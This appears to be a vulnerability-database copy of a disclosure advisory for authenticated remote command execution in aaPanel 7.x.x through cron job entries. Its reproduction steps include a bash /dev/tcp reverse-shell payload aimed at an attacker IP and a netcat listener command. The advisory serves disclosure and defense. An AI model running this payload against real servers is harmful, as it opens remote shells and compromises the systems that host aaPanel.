Lucene search
K

๐Ÿ“„ aaPanel 7.x.x Remote Command Execution

๐Ÿ—“๏ธย 19 Sep 2025ย 00:00:00Reported byย Alasdair Gorniak, Hamed KohiTypeย 
packetstorm
ย packetstorm
๐Ÿ”—ย packetstorm.news๐Ÿ‘ย 325ย Views

Authenticated remote command execution in aaPanel 7.x.x via cron job manipulation to run arbitrary code.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for Argument Injection in Aapanel
18 Jun 202011:04
โ€“githubexploit
CNVD
aaPanel Remote Code Execution Vulnerability
19 Jun 202000:00
โ€“cnvd
CVE
CVE-2020-14421
18 Jun 202012:51
โ€“cve
Cvelist
CVE-2020-14421
18 Jun 202012:51
โ€“cvelist
Exploit DB
aaPanel 6.6.6 - Privilege Escalation & Remote Code Execution (Authenticated)
16 Oct 202000:00
โ€“exploitdb
EUVD
EUVD-2020-6560
7 Oct 202500:30
โ€“euvd
NVD
CVE-2020-14421
18 Jun 202013:15
โ€“nvd
OSV
CVE-2020-14421
18 Jun 202013:15
โ€“osv
Packet Storm
aaPanel 6.6.6 Privilege Escalation
16 Oct 202000:00
โ€“packetstorm
Prion
Code injection
18 Jun 202013:15
โ€“prion
Rows per page
This is authenticated RCE.
    
    Vulnerability Description
    
    During my testing/evaluation of aaPanel, I identified a flaw in how cron
    jobs are handled, which enables an attacker to inject and execute arbitrary
    commands remotely. Specifically:
    
       -
    
       An authenticated user can manipulate cron job entries in a way that
       breaks out of the software to the server.
       -
    
       This leads to the execution of malicious code on the server hosting
       aaPanel, potentially compromising the entire system.
    
    Steps to Reproduce
    
       1.
    
       Log in to the aaPanel dashboard
    
       2.
    
       Create a new cron job with the payload:    bash -c "bash -i >& /dev/tcp/XXXX/1234 0>&1"   (XXXX is your ip)
    
       3.
    
       Save the cron job and trigger it (or wait for the scheduled execution).
       Start a listener on the other side to receive: nc -lvnp 1234
    
       4.
    
       Observe the execution of the injected command on the server and RCE.
    
       Many thanks,
    
       Alasdair Gorniak/Hamed Kohi

Data

Build on a solid foundation withย Vulners data

Weย provide theย essential building blocks forย cybersecurity solutions withย comprehensive, structured, andย constantly updated vulnerability andย exploits data

Api

Power your application withย Vulners API

The Vulners REST API offers reliable, high-performance access toย vulnerabilityย intelligence, withย 99.9%ย SLAย uptime andย CDN-backed data delivery forย seamlessย global access

App

Assess and manage vulnerabilities withย Vulnersย tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

19 Sep 2025 00:00Current
7.3High risk
Vulners AI Score7.3
CVSS 3.17.2
CVSS 29
EPSS0.09449
325